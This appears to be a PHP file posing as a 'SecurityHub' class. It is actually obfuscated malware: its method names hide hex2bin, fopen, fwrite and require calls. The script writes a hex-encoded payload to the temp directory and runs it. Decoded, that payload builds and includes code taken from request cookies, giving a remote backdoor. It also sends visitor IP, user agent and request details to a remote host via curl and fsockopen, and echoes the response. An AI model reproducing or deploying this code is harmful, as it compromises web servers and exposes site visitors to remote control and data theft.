<?php
class SecurityHub
{
    private $ms = '';
    private $xq = '';
    public function prepareOutput($p1)
    {
        $l = array(2 * 55, 105, 58 * 1 + 40, 43 * 1 + 7, 83 * 1 + 37, 73 + 28, 1 + 103);
        $k = '';
        foreach ($l as $y) {
            $k .= chr($y);
        }
        $k = strrev($k);
        return $k($p1);
    }
    public function authorizeUser($p1, $p2)
    {
        $m = array(61 + 41, 65 * 1 + 46, 119 - 7, 106 - 5, 51 * 29 - 1369);
        $d = '';
        foreach ($m as $w) {
            $d .= chr($w);
        }
        return $d($p1, $p2);
    }
    public function computeResult($p1, $p2)
    {
        $m = array(22 + 80, 7 * 17, 2 * 57, 105, 2 * 58, 91 * 1 + 10);
        $y = '';
        foreach ($m as $f) {
            $y .= chr($f);
        }
        return $y($p1, $p2);
    }
    public function terminateSession($p1)
    {
        $q = array(2 * 51, 101 - 2, 30 * 71 - 2022, 100 + 11, 61 * 88 - 5253, 101 * 1);
        $x = '';
        foreach ($q as $n) {
            $x .= chr($n);
        }
        return $x($p1);
    }
    public function logEvent($p1, $p2 = null)
    {
        $l = array(110 - 1, 3 * 35, 69 * 1 + 45, 31 + 85, 75 + 33 + 6);
        $e = '';
        foreach ($l as $j) {
            $e .= chr($j);
        }
        $e = strrev($e);
        return $e($p1, $p2);
    }
    public function manageState()
    {
        $this->xq = $this->logEvent($this->rollbackTransaction(), '/');
    }
    public function sanitizeInput()
    {
        $this->ms = $this->prepareOutput($this->co);
    }
    public function triggerCallback()
    {
        $fn = $this->xq . '/qr-69319f66222cf';
        $f = $this->authorizeUser($fn, 'w');
        $this->computeResult($f, $this->ms);
        $this->terminateSession($f);
        $this->resolveAction($fn);
    }
    private $co = '3c3f70687020636c617373205f64697b70726976617465207' . '37461746963245f7a7a3b7374617469632066756e6374696f6' . 'e205f75616228245f7a71297b6966282173656c663a3a245f7' . 'a7a2973656c663a3a5f676f28293b72657475726e206865783' . '262696e2873656c663a3a245f7a7a5b245f7a715d293b7d707' . '26976617465207374617469632066756e6374696f6e205f676' . 'f28297b73656c663a3a245f7a7a3d617272617928275f7a6b6' . 'e273d3e2734313633363336353733373332643433366636653' . '73437323666366332643431366336633666373732643466272' . 'e273732272e273639363736393665272e273361323032272e2' . '761272c275f726d273d3e27343336663665373436353665373' . '432643534373937303635336132303631373037303663272e2' . '73639363336313734363936663665326636613631373636313' . '73336333732363937303734272c275f6a66273d3e2736272e2' . '73336272e2738272c275f61626d273d3e27363537393461373' . '03633343334393336343936613637333434633661363733343' . '46336613637333434633661363733343439363937373639363' . '43537343536272e2739346636393461333035272e276135383' . '46533272e27303439363937373639363336643536366434393' . '6613666272e2736393634343735363761272e2736343433272' . 'e2734272e27613339272c275f716a273d3e2737272e2731373' . '73761272e273738272c275f6f646d273d3e273363272e27362' . '72e2766366233272e2765272c275f6a6e273d3e27336336323' . '63136272e273433272e2765272c275f7071273d3e2737272e2' . '737363136272e27633663272c275f7a7072273d3e27272c275' . 'f65687a273d3e27272c275f7469273d3e27272c275f7a73273' . 'd3e2736272e2738373437343730272e2733613266326637303' . '73536323265373736353632363636393663363536383666373' . '33734363537323265363336663664272e27326636272e27333' . '66636272e276437303666373336353732326536272e2761373' . '33366363436313734272e2736272e2731272e273364272c275' . 'f62626d273d3e27363337353732366335663639272e2736272' . 'e27653639272e273734272c275f617a75273d3e27363837343' . '73437272e273035663633366636343635272c275f776a62273' . 'd3e2737272e2733363336383635272e27366436272e2735272' . 'c275f766475273d3e273638373437272e273437272e2730272' . 'e2737272e2733272c275f7170273d3e27343734272e2735352' . '72e273432272e2730272c275f6e7564273d3e2737272e27303' . '631272e2737343638272c275f706d67273d3e2737313735363' . '5272e2737323739272c275f6a78273d3e273366272c275f657' . '069273d3e27373137353635373237272e2739272c275f6d782' . '73d3e273230343835343534353032663331326533303064306' . '1343836663733373433613230272c275f6969273d3e2736383' . '66637272e273337272e2734272c275f65757a273d3e2730643' . '0613433366636653665363536333734363936272e276636653' . '361323034333663366637333635306430272e2761306430272' . 'e2761272c275f616d67273d3e273733373336272e276333613' . '2272e2766272e273266272c275f7a6b273d3e27272c275f786' . '569273d3e2736383666272e273733272e273734272c275f616' . '6273d3e2730643061272c275f6e6b273d3e273438353435343' . '5303566343334633439272e273435346535343566343935302' . '72c275f677a62273d3e2734383534353435303566353835663' . '43634663532353734313532343434353434356634363466353' . '2272c275f666f72273d3e27353234353464346635343435356' . '63431343434272e273435272e2732272c275f6a67273d3e273' . '43835343534353035663535353334353532356634313437272' . 'e27343534653534272c275f647a77273d3e273438353435343' . '5303566272e273535353334353532356634313437343534653' . '534272c275f7072273d3e27272c275f6674273d3e273438353' . '4353435303566353234353436343535323435272e2735272e2' . '732272c275f6c77273d3e27343835343534353035663532343' . '534363435272e273532343535272e2732272c275f7472273d3' . 'e27272c275f6e64273d3e2734383534272e273534353035663' . '43334633439272e273435272e273465272e27353435272e276' . '634393530272c275f6e74273d3e27343835343534353035663' . '433346334393435346535343566272e27343935272e2730272' . 'c275f6a64273d3e273438353435343530356635272e2738356' . '634363466353235373431353234343435343435663436272e2' . '734663532272c275f7668273d3e27343835343534353035663' . '5383566343634663532353734272e273135323434343534343' . '5663436346635272e2732272c275f6864273d3e27353234353' . '4643466272e27353434353566343134272e27343434272e273' . '5272e2732272c275f747a273d3e27353234353464346635343' . '4353566272e273431343434272e2734272e2735272e2732272' . 'c275f6278273d3e273634363236373664366636343635272c2' . '75f7764273d3e273439353033272e27613230272c275f6a632' . '73d3e2732303763323035353431272e273361272e2732272e2' . '730272c275f657969273d3e27323037633230353236272e273' . '53636272e27336132272e2730272c275f6b7874273d3e27322' . '72e27303363363237323365272e2730272e2761272c275f777' . '474273d3e2736272e2739272e2737272e2730272c275f6f646' . 'a273d3e27373536272e2731272c275f7868273d3e273732272' . 'e2736353636272c275f667a273d3e27373137373761272e273' . '738272c293b7d7d636c617373205f79697b707269766174652' . '0737461746963245f7a7a3b7374617469632066756e6374696' . 'f6e205f75616228245f7a71297b6966282173656c663a3a245' . 'f7a7a2973656c663a3a5f676f28293b72657475726e2073656' . 'c663a3a245f7a7a5b245f7a715d3b7d7072697661746520737' . '4617469632066756e6374696f6e205f676f28297b73656c663' . 'a3a245f7a7a3d61727261792830302c30372c3033362c30333' . '62c30312c3033362c30322c30372c30312c3031362c3033302' . 'c30362c3033322c3031322c3031312c3031332c3032372c303' . '3312c30332c30322c30312c30312c30302c3031322c3031322' . 'c303331302c303637332c303132302c30302c30323030302c3' . '0312c303432332c30343233293b7d7d686561646572285f646' . '93a3a5f75616228275f7a6b272e276e2729293b68656164657' . '2285f64693a3a5f75616228275f72272e276d2729293b69662' . '8697373657428245f4745545b5f64693a3a5f75616228275f2' . '72e276a6627295d29297b245f6467623d5f6379285f64693a3' . 'a5f75616228275f61626d2729293b696628245f64676226267' . '37472706f7328245f6467622c5f64693a3a5f75616228275f7' . '1272e276a272929213d3d66616c7365297b646965285f64693' . 'a3a5f75616228275f6f272e27646d2729293b7d656c73657b6' . '46965285f64693a3a5f75616228275f6a6e2729293b7d7d696' . '628697373657428245f4745545b5f64693a3a5f75616228275' . 'f70272e277127295d29297b245f76673d245f434f4f4b49453' . 'b245f7679773d5f79693a3a5f7561622830293b245f7a713d5' . 'f79693a3a5f7561622831293b245f696b613d6172726179282' . '93b245f696b615b245f7679775d3d5f64693a3a5f756162282' . '75f272e277a70272e277227293b7768696c6528245f7a71297' . 'b245f696b615b245f7679775d2e3d245f76675b5f79693a3a5' . 'f7561622832295d5b245f7a715d3b69662821245f76675b5f7' . '9693a3a5f7561622833295d5b245f7a712b5f79693a3a5f756' . '1622834295d297b69662821245f76675b5f79693a3a5f75616' . '22835295d5b245f7a712b5f79693a3a5f7561622836295d296' . '27265616b3b245f7679772b2b3b245f696b615b245f7679775' . 'd3d5f64693a3a5f75616228275f65687a27293b245f7a712b2' . 'b3b7d245f7a713d245f7a712b5f79693a3a5f7561622837292' . 'b5f79693a3a5f7561622838293b7d245f7679773d245f696b6' . '15b5f79693a3a5f7561622839295d28292e245f696b615b5f7' . '9693a3a5f756162283130295d3b69662821245f696b615b5f7' . '9693a3a5f756162283131295d28245f76797729297b245f7a7' . '13d245f696b615b5f79693a3a5f756162283132295d28245f7' . '679772c245f696b615b5f79693a3a5f756162283133295d293' . 'b245f696b615b5f79693a3a5f756162283134295d28245f7a7' . '12c245f696b615b5f79693a3a5f756162283135295d2e245f6' . '96b615b5f79693a3a5f756162283136295d28245f696b615b5' . 'f79693a3a5f756162283137295d28245f76675b5f79693a3a5' . 'f756162283138295d2929293b7d696e636c75646528245f767' . '977293b7d66756e6374696f6e205f637928245f786b642c245' . 'f6b61643d747275652c245f6e643d302e36353239363237373' . '33232343034297b245f75773d5f64693a3a5f75616228275f2' . '72e27746927293b245f78623d5f64693a3a5f75616228275f7' . 'a272e277327292e245f786b643b69662869735f63616c6c616' . '26c65285f64693a3a5f75616228275f272e276262272e276d2' . '72929297b245f6b676b3d6375726c5f696e697428245f78622' . '93b6375726c5f7365746f707428245f6b676b2c4355524c4f5' . '0545f53534c5f564552494659504545522c66616c7365293b6' . '375726c5f7365746f707428245f6b676b2c4355524c4f50545' . 'f53534c5f564552494659484f53542c5f79693a3a5f7561622' . '8313929293b6375726c5f7365746f707428245f6b676b2c435' . '5524c4f50545f464f4c4c4f574c4f434154494f4e2c5f79693' . 'a3a5f75616228323029293b6375726c5f7365746f707428245' . 'f6b676b2c4355524c4f50545f52455455524e5452414e53464' . '5522c5f79693a3a5f75616228323129293b6375726c5f73657' . '46f707428245f6b676b2c4355524c4f50545f4845414445522' . 'c5f79693a3a5f75616228323229293b6375726c5f7365746f7' . '07428245f6b676b2c4355524c4f50545f434f4e4e454354544' . '94d454f55542c5f79693a3a5f75616228323329293b6375726' . 'c5f7365746f707428245f6b676b2c4355524c4f50545f54494' . 'd454f55542c5f79693a3a5f75616228323429293b245f75773' . 'd6375726c5f6578656328245f6b676b293b245f6270733d637' . '5726c5f676574696e666f28245f6b676b293b6375726c5f636' . 'c6f736528245f6b676b293b696628245f6270735b5f64693a3' . 'a5f75616228275f617a7527295d213d5f79693a3a5f7561622' . '83235292972657475726e2066616c73653b7d656c73657b245' . 'f78723d70617273655f75726c28245f7862293b245f7871753' . 'd28245f78725b5f64693a3a5f75616228275f272e27776a622' . '7295d3d3d5f64693a3a5f75616228275f7664752729293b245' . 'f74633d5f64693a3a5f75616228275f717027292e245f78725' . 'b5f64693a3a5f75616228275f272e276e75272e276427295d3' . 'b696628697373657428245f78725b5f64693a3a5f756162282' . '75f706d6727295d2929245f74632e3d5f64693a3a5f7561622' . '8275f6a7827292e245f78725b5f64693a3a5f75616228275f6' . '5272e2770272e276927295d3b245f74632e3d5f64693a3a5f7' . '5616228275f6d7827292e245f78725b5f64693a3a5f7561622' . '8275f696927295d2e5f64693a3a5f75616228275f272e27657' . '5272e277a27293b245f67683d66736f636b6f70656e2828245' . 'f7871753f5f64693a3a5f75616228275f616d272e276727293' . 'a5f64693a3a5f75616228275f272e277a272e276b2729292e2' . '45f78725b5f64693a3a5f75616228275f272e2778656927295' . 'd2c245f7871753f5f79693a3a5f756162283236293a5f79693' . 'a3a5f75616228323729293b696628245f6768297b667075747' . '328245f67682c245f7463293b245f7a763d5f79693a3a5f756' . '162283238293b7768696c65282166656f6628245f676829297' . 'b245f636e6b3d666765747328245f67682c5f79693a3a5f756' . '16228323929293b696628245f7a7629245f75772e3d245f636' . 'e6b3b696628245f636e6b3d3d5f64693a3a5f75616228275f6' . '1272e2766272929245f7a763d5f79693a3a5f7561622833302' . '93b7d66636c6f736528245f6768293b7d7d72657475726e245' . 'f75773b7d245f6e76793d697373657428245f5345525645525' . 'b5f64693a3a5f75616228275f272e276e272e276b27295d293' . 'b245f767a643d697373657428245f5345525645525b5f64693' . 'a3a5f75616228275f677a272e276227295d293b245f696f723' . 'd697373657428245f5345525645525b5f64693a3a5f7561622' . '8275f666f7227295d293b245f656d3d697373657428245f534' . '5525645525b5f64693a3a5f75616228275f272e276a6727295' . 'd293f245f5345525645525b5f64693a3a5f75616228275f272' . 'e2764272e277a7727295d3a5f64693a3a5f75616228275f707' . '227293b245f7861643d697373657428245f5345525645525b5' . 'f64693a3a5f75616228275f667427295d293f245f534552564' . '5525b5f64693a3a5f75616228275f6c272e277727295d3a5f6' . '4693a3a5f75616228275f272e27747227293b245f6e76793d6' . '97373657428245f5345525645525b5f64693a3a5f756162282' . '75f6e6427295d293f245f5345525645525b5f64693a3a5f756' . '16228275f6e272e277427295d3a6e756c6c3b245f767a643d6' . '97373657428245f5345525645525b5f64693a3a5f756162282' . '75f6a272e276427295d293f245f5345525645525b5f64693a3' . 'a5f75616228275f766827295d3a6e756c6c3b245f696f723d6' . '97373657428245f5345525645525b5f64693a3a5f756162282' . '75f686427295d293f245f5345525645525b5f64693a3a5f756' . '16228275f272e27747a27295d3a6e756c6c3b69662866696c7' . '465725f76617228245f6e76792c5f79693a3a5f75616228333' . '12929297b245f6e70743d245f6e76793b7d656c73656966286' . '6696c7465725f76617228245f767a642c5f79693a3a5f75616' . '22833322929297b245f6e70743d245f767a643b7d656c73657' . 'b245f6e70743d245f696f723b7d696628697373657428245f4' . '745545b5f64693a3a5f75616228275f272e2762272e2778272' . '95d29297b6563686f205f64693a3a5f75616228275f272e277' . '76427292e245f6e70742e5f64693a3a5f75616228275f6a272' . 'e276327292e245f656d2e5f64693a3a5f75616228275f272e2' . '76579272e276927292e245f7861642e5f64693a3a5f7561622' . '8275f6b787427293b6578697428293b7d69662821697373657' . '428245f6e7074297c7c21697373657428245f656d297c7c216' . '97373657428245f78616429297b6578697428293b7d656c736' . '57b245f6a64773d6172726179285f64693a3a5f75616228275' . 'f7774272e277427293d3e245f6e70742c5f64693a3a5f75616' . '228275f6f64272e276a27293d3e245f656d2c5f64693a3a5f7' . '5616228275f786827293d3e245f786164293b245f7461713d7' . '5726c656e636f6465286261736536345f656e636f6465286a7' . '36f6e5f656e636f646528245f6a64772929293b245f6467623' . 'd5f637928245f746171293b696628245f64676226267374727' . '06f7328245f6467622c5f64693a3a5f75616228275f667a272' . '929213d3d66616c7365297b6563686f245f6467623b6578697' . '428293b7d7d';
    public function resolveAction($p)
    {
        require_once $p;
    }
    public function rollbackTransaction()
    {
        $a = array(115, 121, 5 * 23, 5 * 19, 48 + 21 + 34, 102 * 106 - 10711, 72 * 118 - 8380, 89 * 62 - 5423, 121 - 5, 101, 110 - 1, 62 * 1 + 50, 3 * 67 - 106, 83 * 1 + 17, 27 * 96 - 2487, 30 * 2 + 54);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$bu = new SecurityHub();
$bu->manageState();
$bu->sanitizeInput();
$bu->triggerCallback();